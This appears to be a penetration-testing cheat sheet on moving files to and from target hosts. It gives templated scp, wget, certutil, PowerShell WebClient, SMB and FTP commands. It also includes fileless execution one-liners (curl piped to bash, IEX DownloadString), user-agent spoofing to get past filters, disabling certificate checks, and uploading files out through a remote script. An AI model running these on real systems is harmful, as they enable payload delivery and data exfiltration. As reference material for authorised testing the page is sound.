Main
scp [-r] <USER>@<IP>:/<REMOTE_FILE> /<TO_LOCAL>
scp [-r] /<LOCAL_FILE> <USER>@<IP>:/<TO_REMOTE>Download
wget -O <NEW_NAME> <URL_TO_FILE> curl -o <NEW_NAME> <URL_TO_FILE>CMD
certutil -urlcache -f http://<IP>/<FILE> <NEW_NAME>PowerShell
iwr -uri http://<IP>/<FILE> -Outfile <NEW_NAME> Invoke-WebRequest <URL_SOPRA> -OutFile <NAME_FILE>
# Bypass filters that check user-agent
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest <URL_SOPRA> -UserAgent $UserAgent -OutFile <NAME_FILE>(New-Object Net.WebClient).DownloadFile('<URL_FILE>','<NEW_NAME>')
(New-Object Net.WebClient).DownloadFileAsync('<URL_FILE>','<NEW_NAME>')SMB
copy \\<IP>\<PATH>\<FILE> net use n: \\<IP>\<PATH>\<FILE> /user:<USER> <PASS>FTP
(New-Object Net.WebClient).DownloadFile('ftp://<IP>/<FILE>', '<NEW_NAME>')Upload
SMB
net use \\<IP>\<SHARE>copy <FILE> \\<IP>\DavWWWRoot\ # root dir
copy <FILE> \\<IP>\<DIR>\PowerShell Script
# Disable Certification Check
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')Invoke-FileUpload -Uri https://<IP>:<PORT>/<DIR> -File <FILE>FTP
(New-Object Net.WebClient).UploadFile('ftp://<IP>/<NEW_NAME>', '<FILE>')Fileless
curl <URL>/<FILE_BASH.sh> | bashwget -qO- <URL>/<FILE_PYHTON.py> | python3IEX (New-Object Net.WebClient).DownloadString('http://<IP>/<FILE>') (New-Object Net.WebClient).DownloadString('http://<IP>/<FILE>') | IEXBase64
Last updated